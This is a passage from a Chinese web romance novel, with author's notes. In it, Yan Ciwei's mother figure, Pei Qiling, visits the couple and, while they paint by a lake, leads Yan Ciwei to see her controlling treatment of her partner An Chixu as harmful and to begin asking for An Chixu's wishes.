幽暗的夜灯只是安迟叙看向她的道具。 她看不见更多,眼里只有安迟叙的若即若离。 真哭出一声,近乎恳求。 …… “我一直都在的。姐姐。”安迟叙还是加了点力度。 留下一团团红色的花。 安迟叙给她的姐姐戴上一个吻。 这一回,是真正的掌.控她。 想打想咬。晏辞微都不会拒绝。 * * * 出门时,晏辞微还带着那只x圈。 她把铭牌摘了,看起来只是个普通的chocker。 安迟叙牵了她一下。 晏辞微冲安迟叙憨笑。 “还疼吗?”路上安迟叙悄悄戳过晏辞微的腰。 “嗯。”疼得安心。每一阵战栗都好像安迟叙又在给她爱抚。 “下次不玩了。”安迟叙却心疼,不肯再折腾。 夜里也是。要不然今天她们不一定出的来。 “那不好。”晏辞微抱住安迟叙,把头点在她肩膀上。 其实晏辞微变了很多了。 以前哪儿肯让她这样那样。 安迟叙搂过她,带着她去商场逛街。 “姐姐。”两个人坐在长椅上休息,拿着奶茶,肩膀贴在一起,手交错着给彼此尝尝味道。 安迟叙开口了。 好像刚刚说想喝少糖的语气。 晏辞微却跳了眉心。 她知道安迟叙想说什么。 “我只有最多一周,就要正式离职了。” 交接已经差不多了。安迟叙在烁点其实没做什么工作。 多的一周都是她拖出来的。不然后一天她该收东西走人。 “岗位的事。你还是之前那个想法吗?”可跟晏辞微这边她没法再拖了。 安迟叙吸过晏辞微的奶茶,侧头看向她。 她以为晏辞微可能会拒绝她,像那天晚上回家。 她以为晏辞微可能会呆住,卡顿的像每一次遇到这一类问题。 晏辞微眨过眼,黑眸的深邃淡了,铺上浅浅一层光。 一切向好。 “我妈咪来c城看我们。”说出的话却牛头不对马嘴。 “这会儿要来了。我们可能要一起吃个饭。” 安迟叙怔怔思考着这两件事之间的联系。 她知道裴绮玲对晏辞微来说意义不同寻常。裴绮玲可能就是晏辞微求来的。 也没想明白。 “小刺猬。”只是一个声音从两个人身后缓缓流淌过。像温泉水,不烫不冷,柔和温软。 安迟叙看见晏辞微回过头,这几日沉寂凄凄的黑眸,亮了—— 作者有话说:虽然说安迟叙提到她们应该是伴侣关系,她是她的爱人。但其实她们这会儿给彼此的爱依旧更接近她们追寻的“母爱”,不过对于每一对情侣来说,适合的比正确的重要。她们能适应这样给彼此毫无保留的爱,就不必再扭成普通的情侣。所以也想写安迟叙接受晏辞微圈养的if番外—— 小剧场: 看见裴绮玲,晏辞微:妈咪! 安迟叙:妈咪 裴绮玲给两个崽崽摸摸头 晏辞微闹了:你不许喊别人妈咪!你只能喊我! 第74章 第 74 章 托举 “妈咪。”晏辞微拉着安迟叙站起来。 手里的奶茶摇摇晃晃的, 她也不怕洒,就这么朝裴绮玲跑去。 好像在看见裴绮玲的那一瞬变回三岁的孩子。 一直紧绷的笑都放松了,眼底的疲惫淡了一层。 安迟叙颤着心跳抬头, 看向晏辞微念了一辈子的妈咪, 真正意义上的“白月光”。 只看见一双水色的眼。 裴绮玲的长相并不是很有特点的那种。 和安迟叙一样容易让人遗忘,放在人群里她们都会化作风和水,静静飘过不留谁的注视。 但裴绮玲的眉眼生得好。漂亮的愁眉配有攻击力的凤眼。 一组矛盾把她描摹得立体又有故事。天生适合大荧幕。 安迟叙脑海里飘过一个想法。 如果裴绮玲不去画画,应该会被哪个星探挖走,成为手握众多奖项的影皇吧。 “小刺猬。好久不见了。”裴绮玲看见晏辞微还像小时候那样跑得又碎又快, 眉眼也柔了, 愁眉弯弯的, 抬手去摸晏辞微的头。 柳叶眉高兴也不能尽然, 瞧起来依旧多愁, 敏感的心思想着不能说出口的话,酸一整个凉秋。 安迟叙观察完自己某种意义上的“妈咪”,也被晏辞微牵到裴绮玲面前了。 她稍稍低头对上裴绮玲的目光,小心翼翼, 也开口喊了一声:“妈咪” 晏辞微回过头盯着她。 裴绮玲却没什么介意的, 真也揉了揉安迟叙的头。好像面前的是她一双女儿。 安迟叙抿起腼腆,笑浅而甜。 裴绮玲真的是妈咪。和景桐给人的感觉好像。 可景桐是纯粹的母性, 绽放的春。是绝对温柔和包容, 温暖的海。 裴绮玲更像沉红色的暮秋。她的温柔和晏辞微如出一辙,带着死亡的气息,却不残忍。 生死在她身上循环, 更像自然的母神。 安迟叙总想自然之母应该是秋天才对。 收获是孕育结了果,也是上一轮生命的离去,下一轮的铺垫。 如今终于见着一个这样的人。她心跳不免加速, 捏紧晏辞微的手后才明白。 裴绮玲比景桐更贴合四十多岁的晏辞微。 她们真的很像。眉眼虽不大一样,想来晏辞微五官遗传了晏明琼。 可那股气质如出一辙,也不知是遗传还是学习。 安迟叙看着裴绮玲真是在看二十多年以后的晏辞微。心跳是为这股陈酿而加速。 她看裴绮玲一眼就知道。她二十多年以后绝对会更爱晏辞微。比现在还爱一百倍。 这话可不能告诉晏辞微。她会悄悄吃醋把她自己气哭的。 “你喊我来,是你和你的小女朋友感情出问题了?” 裴绮玲摸完两个小崽,一手一个,牵起她们往饭店的方向走,像猫妈妈带小猫。 晏辞微在右边,她最习惯的方位。 以前总和画笔颜料针线抢位置,小小的晏辞微偏要裴绮玲注意力完全在她身上。 安迟叙在左边。她被牵的多少有些不适应,总看向晏辞微的方向,想回去找她。 “是爱人。”晏辞微点头。 “是妻子。”安迟叙和她一起开口,声音却小很多。 裴绮玲听完笑出来声,搂着晏辞微,松开安迟叙把她还给大女儿。 “别怕,刺猬宝。你们比我和明琼好多了。先吃饭吧,我请客。有什么事吃完饭再说。” 裴绮玲观察起两个人的动作。 就见安迟叙飞一样蹿回晏辞微身边,紧紧抓住她的手,十指相扣还想贴上去。 晏辞微更夸张,直接想把安迟叙抱在怀里,只是安迟叙知羞,没同意。 裴绮玲没再说话。她来之前已经看好餐厅,现在只是带着她的两只小猫往餐厅走。 舞台留给她的小猫们,就听见两个小崽喵喵咪咪的唱起来。 “团团,不可以喊她妈咪。你只能这么喊我。”晏辞微一口醋憋到现在,身上的香水都酸了。 “那我喊阿姨?也不对呀。”安迟叙身影被晏辞微挡了大半,裴绮玲余光去看不是很看得清。却能听见她陪着晏辞微玩闹。 “是不对,但不能喊妈咪。”晏辞微扭着安迟叙,也没说出个该怎么办。 安迟叙就咬她。 咬完两个人又闹起别的。 “小刺猬。”安迟叙学裴绮玲。 惹得晏辞微恼了,咬着唇瓣脸色绯红。“羞。” “不羞。你妈咪都这么喊你。”安迟叙还从来不知道晏辞微小名叫刺猬呢。想来也是,发音都一模一样。 “那,那是小时候的事。”晏辞微没想过给安迟叙说这么奶的小名。 她在安迟叙面前一直都是大姐姐,成熟稳重。冷不丁的被妈咪揭了短。 今天安迟叙又见证晏辞微一个秘密。 “那刺猬姐姐。”安迟叙也温顺,说不喊就留着那什么的时候喊。 晏辞微勉强答应。“还是喊姐姐好。” 裴绮玲听完真展开了眉眼。 想来晏辞微比她妈妈好很多、很多。 就算自己不来,晏辞微应该也能和她的小崽成功携手到老吧。 * * * 吃过饭,裴绮玲带着两个小崽去旁边的公园找地方坐。 裴绮玲一向喜欢自然气息浓郁的地方。 她不喜城镇,以前的梦想是搬去乡下。 可惜被晏明琼圈养,只能在晏明琼打造的人工景观里看无趣的四季。 她走了两步发现身后没人,回过头就看见晏辞微捡了片叶子。 安迟叙贴在她身上仔细低头看。也不知道这叶子有什么特别的。 这会儿真是暮秋了。秋叶一片片的落,树秃了一大半,红了黄了剩下的。 裴绮玲坐下后看两个小崽玩了会儿,才招呼她们过来。 c城选的好。气温气候都很得裴绮玲的喜欢。 她也不奇怪晏辞微小时候会往这边考。 听说安迟叙是本地人,难怪长这么水灵可爱。 “所以是发生了什么事,需要寻求我的帮助?”裴绮玲刚开口,旁边两个小崽的脸色就变了。 没有刚刚那么亲密,牵着手也隔了一层。 晏辞微咬紧牙齿,安迟叙反而先开口了。 就跟受委屈的小猫终于找到了猫妈妈,要她一判胜负。 安迟叙倒豆子一样把晏辞微的事说了一遍。 “所以,她不许你回去看母亲,不喜欢你照顾她,也不许你回策划岗。”裴绮玲小做总结。 晏辞微想反驳,开口又不知说什么。 裴绮玲只是总结的很直白。事实一点没错。 “可,可我只是想你好……”晏辞微也低下头,真是被批哭了的淋雨小狗,委屈巴巴的捏着安迟叙的手。 安迟叙和她吵过好几次了,抿着嘴没有回。一双眼带着些难以读懂的怨,是恨是气是痛,全都揉在一起。 “我不想你那么累。家务很重的,做饭还要碰油烟。我又那么重,你背着也受不住啊。” 晏辞微没有对裴绮玲解释的意思,她一直看着安迟叙。 安迟叙中间吸了口气想开口,最终还是忍住了,给晏辞微说完话的机会。 现在她们之间出现了一个仲裁员。安迟叙也想听听这位被圈养了二十多年的白月光的说法。 “而且那么危险的工作,容易受伤的事。我们不做不好吗?明明有别的选择,我都安排好了,我们还能在一起待更久。” 看着晏辞微说的差不多,安迟叙终于忍不住动了嘴唇。“不是这个问题……” 她又不是不知道晏辞微多担心她,关心她。 就是明白晏辞微的想法都出自好意,她才没法真的动怒,真的斩断她们的关系。 最恼人的恨里总带着爱。模糊的界限让谁也分不清甜是否总伴随着疼痛。 “刺猬,听听她的话吧。你和她之间,不是你说的那个问题。”裴绮玲掌上晏辞微的头,说出了和安迟叙一样的话。 晏辞微和裴绮玲的相似来自模仿。 安迟叙却是晏辞微靠本能挑选的“裴绮玲”。 晏辞微拧着眉,这会儿眉心和裴绮玲一模一样,愁上添秋,心快承受不住重。 “宝宝。明琼年轻的时候也说过类似的话。”裴绮玲当然更成熟,更明白如何跟晏辞微交流。 她到底是晏辞微的妈咪。如果世界上只有一个人的话晏辞微会听,那不会是安迟叙,而是裴绮玲。 晏辞微看安迟叙是在看小宝宝女儿小猫玩偶。 看裴绮玲却是在看她的未来,她的理想,她无所不能的妈咪,她想象中的爱。 “以前在画室,新转来的学生看我家穷总欺负我。明琼就把画室收购了,让那里成为我一个人创作的地盘,以为是为了我好,不想让我继续被那个学生欺负。” “可是我喜欢的老师,相处很好的朋友,画室的氛围,创作时压抑乱套的灵感,在她收购清理之后都没了。” “她没有通知过我,也没有征求过我的意见。甚至没有问我那个人是不是欺负了我。只是自顾自的,把我喜欢的不喜欢的全都拆了。那时她也是说,不想看我继续被欺负。” 寥寥几语,安迟叙真感觉听到了另一个时空的自己和晏辞微。 如果她也学画画。如果她在画室也被人欺负。 晏辞微一定也会做出同样的事,并且同样,不曾问询她的想法。 “可是,你确实被欺负了。”晏辞微果然也开口。比起裴绮玲,她更理解晏明琼的做法。 某种程度上她知道,如果她问她的伴侣,她的伴侣不会需要她插手。 晏辞微始终恐惧着不被需要。 “是啊。我是被欺负了。那一个星期我被欺负的很惨。颜料被倒了,画布被偷了,花了半年创作的,要交给大学当录取作品集的画作被刮了。午饭也吃不上,晚上被锁教室。” 裴绮玲回忆时也一直看着晏辞微。 其实她们的眼也有相似的地方,沉沉的黑色多么一致,带着清水点的高光,看向爱着的人时,总是深情。 “那……”晏辞微第一次为晏明琼争取,只是为了论证自己的正确。 “可是。那只是一个人而已。你怎么知道我没有收集她破坏画室财产的证据,怎么知道我不是故意被她关了一整晚,引起众怒让老师也孤立她?我自知弱小,我也有我反抗的方式,和权势肯定不一样。” “可是,晏明琼不问我。” “我不恨她收购画室,辞退老师,赶走同学。我恨她不问我。她好像不信任我能处理好,根本没有考虑过我有手有脚有脑子。兀自替我做了决定。”裴绮玲的眼慢慢死了光。 现在变得和晏辞微一模一样,凄凄的像鬼。 她是被困了二十多年的冤魂,每一次眨眼都流出恨的血泪。 晏辞微张着嘴说不出话。好像她和团团也有过这样的事。 同样的错误通过血脉世代相传。 那一刻晏辞微最恨的人是晏明琼,也是像晏明琼的自己。 “有的事,你需要和她商量。有的事,你应该听她的,信她。”裴绮玲的抚摸变得轻缓。 她到底年纪那么大,情绪稳定太多。 怨也只有一瞬。然后是暮秋的温柔,像缓缓沉海的夕阳,不刺眼,却比如何一刻都温暖。 可这一次抚摸好沉。晏辞微头慢慢低下,眼被落日填满。 黑眸带着水就能反映出澄黄的光,她努力想着裴绮玲的话。 手指忽然被撑开。安迟叙扣住晏辞微的掌,紧紧牵着她。 晏辞微抬眸悄悄的,看见安迟叙镇定的灰眼后重新扬起头。 她速度很慢,但安迟叙没有催促,一瞬不瞬的等着她。 安迟叙想说的,也不过这么一句话。裴绮玲真的懂她,真的是她。 晏辞微望着安迟叙看了许久。漆黑的眼染上迷蒙。 安迟叙终于眨眼别开。她知道晏辞微不懂,不该再失望。 晏辞微却转向裴绮玲。 “妈咪,我想和你单独聊聊……”晏辞微不想再让安迟叙痛。所以怎么努力都要做到。 “那明天来找我。回去给你发地点时间。记得带上围裙。”裴绮玲没再继续。 一天是谈不完的,晏辞微的心结也不是一天形成的。 重重的手轻轻落下。裴绮玲看着晏辞微,眼神满含鼓励。 “两个小崽先回家交流感情吧。剩下的,我们可以慢慢来。” 晏辞微最好的点是有纠正行为、维系感情的意识。 不像晏明琼。到现在都还倔强,只听她自己的想法。 相伴三十载,裴绮玲不敢说自己完全不爱,哪怕被算计,被软禁。只是她们都累了,谁也坚持不下去。 晏辞微虚抱了下裴绮玲,而后牵着安迟叙,也抱住她。 走开几步之后安迟叙红了脸。“你妈咪怎么看出来的?” 交流感情肯定是指的她凌晨因为舍不得,暂停的事。 晏辞微原本还没想歪,闻言,脖颈上的chocker热的有点刺人了。 她想摘又不敢动手,去摸它都和此地无银三百两一样明显。 “她,她是艺术家,观察能力很强的。”晏辞微低声解释,急匆匆拐着安迟叙回家了。 裴绮玲远远的在暮色里注视着她们离开。夕阳在她背面,黑了她整个身影。 唯有水眸带一片光,清明、祝福。 夕阳彻底沉没。 裴绮玲手机响了。 只有一个人会这么打给她,她静默着站到电话铃结束,才拿出手机回拨。 “她怎么样?”晏明琼关心也显得别扭。多不自在的,先问完裴绮玲,快挂断才问了晏辞微。 “她不像你。”裴绮玲独自在夜色中走着。 晏辞微多可爱啊。她的爱比晏明琼纯粹太多。 “……我讨厌她。”晏明琼后悔问这么一句。她以前就不喜欢晏辞微一直霸占裴绮玲的时间。 “讨厌她也是你女儿啊。你自己要生的。”裴绮玲故作轻松。语气藏着责备。 晏明琼不说话了,踌躇起来。 她听见电话那边的风声,水声,喧闹的人声。 听见车划破马路的引擎声。 在裴绮玲耐心耗尽前一刻开口。幽冷的像这秋夜。 “我想你了。” 裴绮玲眉眼弯弯的,寻常的表情和晏辞微真像。 “我不想你。再见。” 然后毫不犹豫的挂断。 * * * “上班不会迟到吗?”晏辞微被安迟叙扭着手,又想松,又想牵紧。 “我都离职了。”安迟叙根本不在意这边的工作,说到底在c城急着找工作,也只是为了成长。 “我不去也行的。”安迟叙又捏紧了点,看穿了晏辞微的紧张,坏心思的逗起她。 “我,我想单独和妈咪谈话……”可晏辞微坦诚,下定决心一样,指尖慢慢和安迟叙扣紧了。 “那就送你到公园,我再去公司混日子。”爱人都这样诚实了,安迟叙也没有多留的理由。 “下午来接你。”把晏辞微送到裴绮玲身边,好像完成一场猫妈妈交接仪式。 小猫从安妈咪手里转到裴妈咪那儿。安迟叙亲自看着就是为了确保晏辞微的安全。 她临走,步子都撤了。 却再次转身,点着脚,吻晏辞微耳垂一下。 晏辞微被亲了个懵,吻到的地方慢慢染上绯色。 再回过神,安迟叙已经走远,只剩一点背影,才像幼猫,轻快小巧。 “感情很好啊。”裴绮玲坐在写生椅上,面前的画布已经起好形。 她眯着眼招呼女儿在旁边坐下,打趣道。 “所以才不想分开。”晏辞微收回眼神,意外想着。 哪怕这回她们再次分开,有安迟叙一个吻,她也能多坚持一天。 “知道你想不通。没办法,你最需要感情引导的时候,明琼不让我和你多见面,怕我带着你逃跑。后来你自己真跑了,我也没去打扰。”裴绮玲每一个字都带着轻叹。 她身不由己的时候多,对晏辞微的感情也复杂。愧疚或恨她已分不清。 只是决定了在面对这个小可怜时,要用最好的态度,尽可能引导她。 其实根本没法称之为爱,遑论母爱。 裴绮玲很庆幸,至少现在有一个人真正爱着晏辞微。 “我,我是想不明白。”晏辞微接过裴绮玲给她准备的画笔、颜料,歪头看向裴绮玲。 “妈咪,我们今天一起写生?” 小时候她多喜欢和裴绮玲一起创作。 半个小时太短,裴绮玲只能教她一些简单的技巧,或者手工作品。 有时她们花上一整个月,三十个三十分钟去完成一幅画。 晏辞微灰暗的童年里,画作是唯一的亮色。 “对,我们一起。”裴绮玲也没想到自己还能有这个机会。 她说过她对晏辞微的感情谈不上爱。看见晏辞微一切都好,没想过再和晏辞微私下见面。 还如此亲密。 果然不是母亲天生爱着孩子,只是孩子天生爱着母亲。 她自以为做的很差,晏辞微还这样爱她,听见能一起画画,眼睛亮成三岁。 “就画这片湖。风景正好。”她们面前确实是公园的人造湖。 岸边铺满柳树,柳树后方栽着银杏。精致修葺的仿古桥横跨湖面,只只小船在湖中央飘荡。 只是暮秋又逢阴雨。世界没有了颜色。 晏辞微怎么看也不觉得湖景漂亮,她想她和安迟叙二十岁那会儿散步的公园比这美一百倍。 毕竟妈咪在一旁。晏辞微没提出异议,拿着铅笔开始打草稿。 她好歹跟裴绮玲学过一点,虽不太精通,好歹能画出来。 至于成图像三岁还是十三岁,那就不知道了。 “她这回都主动提出要跟你走。不好吗?”形慢慢起好了,裴绮玲也慢慢的开口。 她比风还柔,不带攻击性的语气让晏辞微也放松下来。 “可她想回的策划岗很危险。她上次就差点被人抓出来网暴。之后项目内容又被人偷了,想用抄袭搞臭她的名声。项目竞争太多,我怕我没法随时护着她,她被当作权力斗争的牺牲品。” 晏辞微觉得自己形起的也不好。湖不是个湖,树也歪歪扭扭的不像棵树。 她以为她至少遗传到裴绮玲一点艺术细胞呢。 “而且,策划岗太累了。有项目的时候每天加班到十二点是常态。周末也休息不了。她那几个月过的……真的好苦。我看着她睡眠不足多想掉眼泪的。我不觉得加班费能弥补健康亏损。” 晏辞微为了让安迟叙准时下班,都去办公室“恐吓”过她们组长。 谁知道把安迟叙提拔上去以后,安迟叙自己加班加得更起劲儿,天天赖在公司不走。 她除了送上热牛奶,补偿加班费,还真没有别的办法。 她是给好也拉不动安迟叙,给坏也没法把安迟叙拽下来。 遇到事业上的事,安迟叙倔得跟头牛一样,拼命撞墙。 晏辞微最后把安迟叙关在身边养成助理,她觉得她是出于无奈。 裴绮玲安静的听着,把自己的画作往后撤了点,不让晏辞微偷看偷学。 晏辞微恼得眼睛都灰了。她看自己的画怎么看怎么丑,妈咪还不给她借鉴。 她不想动笔了,今天总不能画出一幅惊天丑画吧。 “那你三年前把她绑回四九城,她没同意的情况下要跟她办订婚宴,她还不是跑了。她是人,就算是小动物,环境让她不舒服了,她也会自救的。” 没外人在,裴绮玲说的不客气。但语气还是温柔,像自然本身。 她说的话都只是事实。而事实总残酷,有生必有死。 竟已三年了。晏辞微看过时间,真要到安迟叙逃离她的季节。 “你是说,我的帮助让她觉得不舒服了。所以她反复离开我。” 放在以前晏辞微会气,会哭。 今天只是默默得出结论,捏着笔低头思考。 黑颜料一抹掉在画布上,她惊起想去擦。 裴绮玲却说。“可以开始上色了。” * * * 晏辞微改不来画错的地方,只能将错就错,把黑颜料改成一只大雁。 城市人造湖哪儿来的雁子,晏辞微最终画了个四不像,才慢吞吞开始给周围环境铺底色。 后面动作快了点。她画的再丑,这也是她第一次和裴绮玲一起画画。晏辞微想好好完成这个作品。 写生对裴绮玲来说太简单。上午过去,她已经完成了第一幅,放在一旁晾干,下午准备画第二幅。 她带了盒饭,和晏辞微分着吃。 晏辞微以前没机会尝妈咪的手艺,终于吃到,总觉得不如自己。 这话只能悄悄讲给安迟叙听。她的爱人不会嫌弃她自大狂妄。 晏辞微刨着盒饭站在裴绮玲身后,看她第一幅画。 明明都看见同一个景,裴绮玲画出来的颜色清透又纯净,暮秋变得像春天,可各种细节依旧入了秋。 裴绮玲的画总带了些幻想色彩。此刻就有独角兽这样的生灵卧在她心中的湖畔。 “妈咪,你画的真好。”晏辞微一直很佩服裴绮玲的创作。 “那我帮你改改?”裴绮玲竟真拿过晏辞微那个未完成的丑作,要给她修。 晏辞微以为她真好心呢,赶紧把画布凑过去。 十分钟后还回来。裴绮玲只把晏辞微误点的那团黑大雁改成了水灵灵的天鹅。 真是水灵灵的。也不知道裴绮玲怎么用的颜料,画出来的东西像彩宝,剔透明亮,和晏辞微暗沉沉的写实派格格不入。 晏辞微对着改过的画犯了难,她多添一笔都觉得好丑。 到头来只想把裴绮玲画的悄悄抹掉。 多奇怪。她很喜欢裴绮玲的画,也喜欢这只天鹅。 可它落在自己的画布上,反而影响了整张画。 裴绮玲看见晏辞微偷偷去拿颜料覆盖天鹅的动作了。 她没戳穿晏辞微,隔会儿敲敲她的画板。“要不要你也在我的画里留一个鸭子?” “那是大雁。”晏辞微纠正裴绮玲,对上眼才知道她妈咪就是故意的。 晏辞微赌气拿着笔,挤开裴绮玲,坐在她位置上就要对她的画作下手。 放在左边,黑大雁也丑。放在右边,黑大雁还真像个丑鸭子。 晏辞微比划了好几下都没能下得去手。 裴绮玲却忽然捏住她的手腕,按下去一笔。 “妈咪!”晏辞微惊呼一声。 她沾的是黑颜料,裴绮玲带她这么毫不留情的落笔,整张画都毁了。 裴绮玲就笑她。“你觉得我给你改的天鹅好看吗?” 晏辞微撇嘴把画笔放下,有点脾气了,别扭着回答她。“不好看。” “合适吗?” “不合适。” “你看,你如果在我的画上加一笔,也不会好看。” 裴绮玲摸过晏辞微的头,看着小崽一卡一卡的抬头,似乎明白了什么的眼,把思考的空间留给她。 等晏辞微把那只黑天鹅处理掉,才再次开口。 “人生和画作很像。可以两个人一起完成,可以一个人自己走。但每个人的风格都不一样,你的笔触强行融入别人的画,只会毁了她。” 裴绮玲真是艺术家,教孩子也只会用画作举例。 “所以我……我应该……”晏辞微看着自己的画,没完全擦去的天鹅,语气迟缓到谁都以为她说不下去。 “我应该放手。”她最终还是把一句话吐了出来。 晏辞微说完整个眼都没了光。 她终于承认,她对安迟叙的好只是自以为是。 就像裴绮玲留下的这只天鹅。 漂亮,却不合适。 安迟叙和她一样,都极力想要擦去这一笔错误。 哪怕她们都很爱落笔的那个人。 裴绮玲没说她是对是错,静静画着。 只剩画笔刷刷声,盖过喧哗,圈出一片清净。 晏辞微会得到什么样的结论,全看她和安迟叙平日的相处。裴绮玲做的只是引导。 晏辞微能这么快得出结论,其实她心里早就藏了这个答案。 她只是一直不肯承认。不愿面对。 “我,我不去管她。可是我心就好痛。我好怕她受伤,好怕她出事。我其实知道我不该再伸手阻拦,但我忍不住……” 晏辞微放下画笔。颜料沾在笔尖,慢慢风干。她一滴泪下去,又延缓了这个过程。 晏辞微只肯眨一滴眼泪。裴绮玲到底不是安迟叙。晏辞微只敢把自己的脆弱给安迟叙看。 她好像很坏。给安迟叙看她的脆弱,只是为了安迟叙的安抚、同情,还有爱。 她像博同情一样表演起自己的伤痛,安迟叙竟真配合她,每一次都给她好多好多的爱。 多到她自发的产生愧疚,不自觉的上瘾沉沦。 裴绮玲想给她递纸巾,拿出来才看见晏辞微已经自己收拾好情绪,重新握笔开始画了。 裴绮玲便说:“你的黑白关系不太对。阴影可以加重点。画面更清晰。” 晏辞微咬着唇瓣心凄凄的找着裴绮玲说的黑白关系。 她没学过怎么知道什么叫黑白灰重点色。 她最终只是在桥下面多加了点阴影。即便如此,整个画面也真变清楚了,不像之前雾蒙蒙,颜色堆在一起,让人分不清主次。 晏辞微知道了裴绮玲是有意识在引导她思考,真琢磨起裴绮玲一句话的含义。 “我可以指导她?”指导和逼迫,界限在哪儿? “但她可以不听。就像你画面有十五个地方可以加深,但你只选择了其中一个。我也不会说什么。” 裴绮玲把道理展开来,继续深化。“你可以是她强有力的后盾。是她放手一搏的勇气。她失意的时候你能陪伴她,她需要帮助的时候会来找你。” “你可以引导,可以教,可以提建议。唯独不能掰着她的手去做。她做坏了也没关系啊,人生还有那么长,机会那么多。你还可以陪她一起,把下一次变得更好。” “她肯定知道你担心她。可她也知道你现在是总经理,你是日安集团的继承人啊。你人在集团里呆着,她都不怕自己受伤受累。你不要总替她操心。” 一段话很长。裴绮玲讲一会儿,让晏辞微画一会儿。 晏辞微慢慢的铺好颜色,像之前那样,只给一个地方加了阴影,没去管裴绮玲口中的剩下十四处。她就觉得这样顺眼。 隔会儿裴绮玲又继续。“就像我于你。你知道你感情上搞砸了,可以来问我意见。但我没法判断你什么时候需要我,所以不能在你开口之前轻举妄动。不然,是在剥夺你自己长大的权力。” “自己长大……”晏辞微默念着。 她从来一个人长大。可她的团团始终有她。 这近四个月过去,她的团团有好好独自长大吗? “是啊。养小孩这一点很重要。你总是把她当成笨笨软软需要你的小猫,其实是在看轻她。无视她的自我,摧毁她的能力。” “你的妈妈做错了很多事。我在你的事情上也没有做的很好。所以你现在才这么辛苦。你看,你在我眼里也是可怜的小刺猬,但你也长到这么大,有能力自己开公司,和集团抗衡,夺权,照顾爱人。如果我一开始就在帮你,其实你会慢慢不知道自己该怎么走。我只能在你决定了前路之后,给你一些你可能用的上的建议。” 话说到这儿,已经足够多了。裴绮玲静了下去,沉入画作里。 晏辞微不笨,听的却慢,动作也慢。 只是,她慢慢的思考,慢慢的下笔,竟也真把一幅画推进到修氛围的最后一步。 已经临近夕阳。晏辞微快画完这幅画了。 “这才是托举吗?”她好像有点明白了。 她以前太怕失败。无论对自己,还是对安迟叙。 更怕安迟叙会出事,总觉得她还是小姑娘,需要自己的庇护。 裴绮玲却说,失败了也没有关系,总要让安迟叙自己去闯。 “是啊。”裴绮玲肯定晏辞微的话。“托举的意思是,帮助她做,她想做的事。” “她想做才是重点。她想去策划岗,就让她去。人又不傻,真受不了会来找你哭的。担心她在总部太危险,要不要考虑回s市分部?我看明琼两三年内退不下来,你现在回四九城也是白搭。” “但她说想回四九城。这样不算替她做决定吗?”晏辞微忽然明白自己这一个多月的病症。 她知道自己有错。她也知道安迟叙会因为她的错而离去。 她却不知道该怎么正确的对待安迟叙,因此畏手畏脚,憋着自己的不开心。最终大吵一架。 裴绮玲陪她一天,也悠悠的,帮她把那么多问题都梳理出来。 混沌的思绪都变得清晰了。 像画上那一抹加深的阴影。 “那你问她咯。”裴绮玲拍拍晏辞微的头。 “她肯定知道你没法在一朝一夕里改正。至于怎么才是好,你要和她慢慢学啊。” 裴绮玲教不了晏辞微。没法告诉她该如何。 晏辞微默念着裴绮玲的话,眼前的颜色愈发通透。 原来裴绮玲今天的举动就叫托举。 …… 晏辞微慢慢的调整这副丑画,眼底清澈着,流出一个笑。 她想把这幅画完成。 不再只是因为,这是她和裴绮玲一同写生的作品。 哪怕她的画透视是错的,色彩是乱的。在任何人的角度来看都会很丑。 这也是她的画。 “姐姐!”安迟叙的声音从好远的地方响起,由远及近。 她下班,来接她的爱人了。 安迟叙跑步带风,把阴了一整天的乌云都驱散。晏辞微眼底染上夕阳的烈光。 她回过头也跑两步,张开手臂接住安迟叙。 安迟叙扑了她满怀,抬头时脸蛋被夕阳的暖光填满,亮澄澄的,橘红显得她气色超好,可爱成画。 “团团。我好想你。”晏辞微真的,想了安迟叙一天。 她把她的丑画送到安迟叙面??前。 起初还有点不好意思。 “送给你。”可她本来就想把这张画送给安迟叙。 要不然,湖畔怎么会立一只灰灰的小猫? 虽然小猫很丑很丑,哪怕只是背影也变形得厉害,让人看不出是个猫。 安迟叙看见这幅画,也亮了眼睛。 “姐姐画的好!这是我?” 如果全世界都觉得晏辞微的画作丑。 唯独安迟叙,会夸她画的好看。 能一眼认出她起形失败,用色太脏,改了三五次还不像个东西的…… 晏辞微笔下的安迟叙。 “真的好?”晏辞微再看看,也莫名把自己一天的劳作看顺眼了。 “真的!我肯定画不出来。颜色好符合你的性格。”安迟叙就爱这灰蒙蒙的色调。 像鬼,像冤魂。但这就是她爱的人。 “这么黑?”晏辞微表情没控制住。 “对啊,就是这么黑。”安迟叙看她扯嘴角,笑出声。 晏辞微就是黑的。剖开都是心机,控制欲浓成墨。 晏辞微在旁边慢吞吞的接受她在安迟叙眼里性格特别黑这件事。 “两个小崽,今晚是跟我一起吃饭,还是你们单独吃?” 裴绮玲跟在晏辞微身后收东西,只是听她们两个人的对话,心的空虚就能被浅浅填满。 她这辈子很难有机会了。至少,要让她的女儿获得幸福吧。 “单独吃。” “一起吃。” 两个人同时开口。 安迟叙想裴绮玲难得来找晏辞微,应该一起。 晏辞微却有好多话想和安迟叙私下说,偷偷说。 也许讲一个小时,也许一辈子也说不完。 晏辞微看向安迟叙。余光扫过裴绮玲,裴绮玲的水眸被夕阳盛满金红,光彩是鼓励的颜色。 “那一起吃?”晏辞微定了定神。 第一次,认真的,向安迟叙询问她的想法。 “姐姐有话跟我说?”而安迟叙是谁,一眼看穿晏辞微的打算。 “我是想你和妈咪多相处一会儿。” “那一起吃,晚点再说。”晏辞微想,她也不必着急这一会儿了。 她的团团这样爱她。 原来和她一起商量,没有那么难。 她准备好学习如何正确的爱她的安迟叙了—— 作者有话说:和裴妈咪的对话更像对她们过去的总结,想点通透一点就这么写了。其实没有裴妈咪帮忙,晏辞微自己也快想出来该怎么和团团相处了。或者说,没有前面这么多事,就算裴妈咪在开篇就说这段话,晏辞微也理解不了。只能是这个时间点,在这些分分合合之后。 后面三五章就是晏辞微学习和团团相处的过程,可能会有一点偏日常,像番外。但成长、相处,就是这本文的主题,所以我还是想当正文写完,真正的番外留给婚礼养猫和if线吧 第75章 第 75 章 比囚养更难 牵着手一起回家。 晏辞微嘴角还挂了一颗红豆。安迟叙手里还捧着半个甜饼。 裴绮玲的习惯是饭后给小崽买甜点。今天给两个人买的是红豆鲜花饼。 怪甜的。晏辞微吃了一半不想吃, 安迟叙接过她那半,慢慢消灭着。 “你今天跟她说了些什么?”安迟叙勉强把甜饼吃下去,想着明天早上得跟姐姐多跑十分钟步。 “有点多。”晏辞微不知道从哪里开口。她往回梳理, 发现自己也还没有完全弄明白。 “我还没想明白。”晏辞微干脆坦诚了些, 揽住安迟叙的腰,掐一把。 